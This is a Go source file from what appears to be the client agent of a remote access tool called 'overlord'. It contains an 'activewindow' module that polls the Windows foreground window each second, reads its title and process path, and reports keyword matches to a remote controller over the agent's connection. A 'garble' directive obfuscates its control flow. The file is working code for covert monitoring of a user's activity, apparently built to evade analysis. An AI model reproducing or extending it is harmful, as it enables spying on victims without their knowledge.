Files

138 lines
3.4 KiB
Go
Raw Permalink Normal View History

2026-03-05 00:04:26 -06:00
//go:build windows
package activewindow
import (
"context"
"log"
"path/filepath"
"strings"
"time"
"unsafe"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
"golang.org/x/sys/windows"
)
var (
user32 = windows.NewLazySystemDLL("user32.dll")
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
procGetWindowTextW = user32.NewProc("GetWindowTextW")
procGetWindowTextLengthW = user32.NewProc("GetWindowTextLengthW")
procGetWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId")
)
func Start(ctx context.Context, env *runtime.Env) error {
2026-04-20 13:46:59 -05:00
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
2026-03-05 00:04:26 -06:00
if env == nil {
return nil
}
log.Printf("activewindow: starting monitor")
defer log.Printf("activewindow: stopped")
ticker := time.NewTicker(1 * time.Second)
defer ticker.Stop()
var lastTitle string
var lastPID uint32
lastSent := make(map[string]int64)
for {
select {
case <-ctx.Done():
return nil
case <-ticker.C:
keywords := env.GetNotificationKeywords()
if len(keywords) == 0 {
continue
}
minIntervalMs := env.GetNotificationMinIntervalMs()
title, pid := getActiveWindow()
if title == "" || pid == 0 {
continue
}
if title == lastTitle && pid == lastPID {
continue
}
lastTitle = title
lastPID = pid
match := matchKeyword(title, keywords)
if match == "" {
continue
}
if minIntervalMs > 0 {
key := strings.ToLower(match)
if last, ok := lastSent[key]; ok {
if time.Since(time.UnixMilli(last)) < time.Duration(minIntervalMs)*time.Millisecond {
continue
}
}
lastSent[key] = time.Now().UnixMilli()
}
procPath := queryProcessPath(pid)
procName := filepath.Base(procPath)
if procName == "." || procName == "" {
procName = "unknown"
}
note := wire.Notification{
Type: "notification",
Category: "active_window",
Title: title,
Process: procName,
ProcessPath: procPath,
PID: int32(pid),
Keyword: match,
TS: time.Now().UnixMilli(),
}
if err := wire.WriteMsg(ctx, env.Conn, note); err != nil {
log.Printf("activewindow: send notification failed: %v", err)
}
}
}
}
func getActiveWindow() (string, uint32) {
hwnd := getForegroundWindow()
if hwnd == 0 {
return "", 0
}
length := getWindowTextLength(hwnd)
if length == 0 {
return "", getWindowPID(hwnd)
}
buf := make([]uint16, length+1)
_, _, _ = procGetWindowTextW.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&buf[0])), uintptr(length+1))
return windows.UTF16ToString(buf), getWindowPID(hwnd)
}
func getForegroundWindow() windows.Handle {
hwnd, _, _ := procGetForegroundWindow.Call()
return windows.Handle(hwnd)
}
func getWindowTextLength(hwnd windows.Handle) int {
length, _, _ := procGetWindowTextLengthW.Call(uintptr(hwnd))
return int(length)
}
func getWindowPID(hwnd windows.Handle) uint32 {
var pid uint32
_, _, _ = procGetWindowThreadProcessId.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&pid)))
return pid
}
func queryProcessPath(pid uint32) string {
h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, pid)
if err != nil {
return ""
}
defer windows.CloseHandle(h)
buf := make([]uint16, 1024)
size := uint32(len(buf))
if err := windows.QueryFullProcessImageName(h, 0, &buf[0], &size); err != nil {
return ""
}
return windows.UTF16ToString(buf[:size])
}